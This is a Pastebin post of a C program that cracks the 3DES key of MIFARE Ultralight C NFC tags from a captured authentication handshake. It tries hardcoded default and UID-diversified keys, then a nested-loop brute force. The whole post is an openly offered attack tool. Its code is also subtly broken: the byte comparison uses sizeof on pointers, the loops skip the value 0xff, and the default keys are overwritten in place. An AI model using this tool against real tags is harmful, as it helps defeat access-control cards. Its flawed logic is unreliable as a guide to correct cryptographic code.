Guest User

UL-C brute

a guest
Mar 26th, 2015
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.17 KB | None | 0 0
  1. //gcc -lssl -std=c99 UltraC-Crack.c -o UltraC-Crack
  2. //
  3. //Lame attempt at bruteforcing Ultralight C keyspace from a captured authentication handshake.
  4. //Copyright (c) 2014 Andy Davies of Pentura.
  5. //Software provided AS-IS, Pentura and myself bear no responsibility over its use.
  6. //
  7.  
  8. #include <openssl/des.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <ctype.h>
  13. #include <stdint.h>
  14. #include <stdbool.h>
  15.  
  16. //some default keys
  17. static uint8_t key1_blnk_data[16] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
  18. static uint8_t key2_defa_data[16] = { 0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f };
  19. static uint8_t key3_3des_data[16] = { 0x49,0x45,0x4D,0x4B,0x41,0x45,0x52,0x42,0x21,0x4E,0x41,0x43,0x55,0x4F,0x59,0x46 };
  20. static uint8_t key4_nfc_data[16] = { 0x42,0x52,0x45,0x41,0x4b,0x4d,0x45,0x49,0x46,0x59,0x4f,0x55,0x43,0x41,0x4e,0x21 };
  21.  
  22. //what we want to crack
  23. //id page-byte 0-0 0-1 0-2 1-0 1-1 1-2 1-3
  24. static uint8_t cuid[7]={0x04,0x0e,0x6b,0xca,0x0b,0x28,0x80};
  25. static uint8_t e_RndB[8]={0x1e,0xae,0x15,0xf8,0x5b,0x05,0xe3,0x2d};
  26. static uint8_t RndARndB[16]={0x62,0x7a,0xb7,0x02,0x0c,0xfe,0xc7,0x8b,0xa2,0x4e,0x6b,0x43,0x5e,0x0f,0xa0,0xb7};
  27.  
  28. uint8_t * diversify_key(uint8_t * key){
  29. for(int i=0; i<16; i++){
  30. if(i<=6) key[i]^=cuid[i];
  31. if(i>6) key[i]^=cuid[i%7];
  32. }
  33. return key;
  34. }
  35.  
  36. // Needed to Authenticate to Ultralight C tags
  37. void rol (uint8_t *data, const size_t len){
  38. uint8_t first = data[0];
  39. for (size_t i = 0; i < len-1; i++) {
  40. data[i] = data[i+1];
  41. }
  42. data[len-1] = first;
  43. }
  44.  
  45. //Print Nice HEX Strings
  46. char * sprint_hex(const uint8_t * data, const size_t len) {
  47. static char buf[1024];
  48. char * tmp = buf;
  49. size_t i;
  50.  
  51. for (i=0; i < len && i < 1024/3; i++, tmp += 3)
  52. sprintf(tmp, "%02x ", data[i]);
  53.  
  54. return buf;
  55. }
  56.  
  57. //Needed to compare decrypted Random numbers
  58. int hexcompare(uint8_t *a, uint8_t *b){
  59. int sizea=0, sizeb=0;
  60.  
  61. sizea=sizeof(a)/sizeof(a[0]);
  62. sizeb=sizeof(b)/sizeof(b[0]);
  63. if (sizea != sizeb) return -1;
  64.  
  65. for (int i=0; i<sizea-1; i++){
  66. if(a[i]!=b[i]) return -1;
  67. }
  68.  
  69. return 0;
  70. }
  71.  
  72. int test_key(uint8_t *key){
  73.  
  74. DES_cblock key1,key2;
  75. DES_cblock RndB={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  76. DES_cblock dRndB={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  77. DES_cblock rRndB={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  78. DES_cblock iv={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
  79. uint8_t RndARndBout[16] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
  80. DES_key_schedule ks1,ks2;
  81.  
  82. memcpy(key1,key,8);
  83. memcpy(key2,key+8,8);
  84. DES_set_key((DES_cblock *)key1,&ks1);
  85. DES_set_key((DES_cblock *)key2,&ks2);
  86.  
  87. DES_ede2_cbc_encrypt(e_RndB,RndB,sizeof(e_RndB),&ks1,&ks2,&iv,0);
  88. //copy RndB and rotate; at this point we have e_RndB, our guess RndB and rotated rRndB
  89. memcpy(rRndB,RndB,8);
  90. rol(rRndB,8);
  91. //printf(" rRndB:%s\n",sprint_hex(rRndB,8));
  92. memcpy(iv,e_RndB,8);
  93. DES_ede2_cbc_encrypt(RndARndB,RndARndBout,sizeof(RndARndB),&ks1,&ks2,&iv,0);
  94. memcpy(dRndB,RndARndBout+8,8);
  95.  
  96. //printf("dec(RndB'):%s\n",sprint_hex(dRndB,8));
  97.  
  98. if (hexcompare(dRndB,rRndB)==0){
  99. printf("We have a winner!\n %s\n", sprint_hex(key,16));
  100. return 1;
  101. }
  102. return 0;
  103. }
  104.  
  105. int main(int argc, char *argv[]){
  106. uint8_t test[16] = { 0x49,0x45,0x4D,0x4B,0x41,0x45,0x52,0x42,0x21,0x4E,0x41,0x43,0x55,0x4F,0x59,0x45 };
  107. uint8_t * key;
  108. //check default keys
  109. printf("Checking Default Keys:\n");
  110. for(int i=0; i<4; i++){
  111. switch(i){
  112. case 0: if(test_key(key1_blnk_data)) exit(0);
  113. break;
  114. case 1: if(test_key(key2_defa_data)) exit(0);
  115. break;
  116. case 2: if(test_key(key3_3des_data)) exit(0);
  117. break;
  118. case 3: if(test_key(key4_nfc_data)) exit(0);
  119. break;
  120. default:
  121. break;
  122. }
  123. }
  124. printf(" No Keys Found.\n");
  125. printf("Checking Diversified Default Keys:\n");
  126. for(int i=0; i<4; i++){
  127. switch(i){
  128. case 0: key=diversify_key(key1_blnk_data);
  129. if(test_key(key)) exit(0);
  130. //printf("%s\n",sprint_hex(key,16));
  131. break;
  132. case 1: key=diversify_key(key2_defa_data);
  133. if(test_key(key)) exit(0);
  134. //printf("%s\n",sprint_hex(key,16));
  135. break;
  136. case 2: key=diversify_key(key3_3des_data);
  137. if(test_key(key)) exit(0);
  138. //printf("%s\n",sprint_hex(key,16));
  139. break;
  140. case 3: key=diversify_key(key4_nfc_data);
  141. if(test_key(key)) exit(0);
  142. //printf("%s\n",sprint_hex(key,16));
  143. break;
  144. default:
  145. break;
  146. }
  147. }
  148. //default check complete, now bruteforcing... {not the most eligant way}
  149. printf(" No Keys Found.\n");
  150. printf("Brute-forcing Keys:\n");
  151.  
  152. for(uint8_t y=0x0;y<0xff;y++){
  153. for(uint8_t x=0x0;x<0xff;x++){
  154. for(uint8_t w=0x0;w<0xff;w++){
  155. for(uint8_t v=0x0;v<0xff;v++){
  156. for(uint8_t u=0x0;u<0xff;u++){
  157. for(uint8_t t=0x0;t<0xff;t++){
  158. for(uint8_t s=0x0;s<0xff;s++){
  159. for(uint8_t r=0x0;r<0xff;r++){
  160. for(uint8_t q=0x0;q<0xff;q++){
  161. for(uint8_t p=0x0;p<0xff;p++){
  162. for(uint8_t o=0x0;o<0xff;o++){
  163. for(uint8_t n=0x0;n<0xff;n++){
  164. for(uint8_t m=0x0;m<0xff;m++){
  165. for(uint8_t l=0x0;l<0xff;l++){
  166. for(uint8_t k=0x0;k<0xff;k++){
  167. for(uint8_t j=0x0;j<0xff;j++){
  168. test[15]=j;
  169. test[14]=k;
  170. test[13]=l;
  171. test[12]=m;
  172. test[11]=n;
  173. test[10]=o;
  174. test[9]=p;
  175. test[8]=q;
  176. test[7]=r;
  177. test[6]=s;
  178. test[5]=t;
  179. test[4]=u;
  180. test[3]=v;
  181. test[2]=w;
  182. test[1]=x;
  183. test[0]=y;
  184. if(test_key(test)) exit(0);
  185. //printf("%s\n", sprint_hex(test,16));
  186. }
  187. }
  188. }
  189. }
  190. }
  191. }
  192. }
  193. }
  194. }
  195. }
  196. }
  197. }
  198. }
  199. }
  200. }
  201. }
  202. }
Advertisement
Add Comment
Please, Sign In to add comment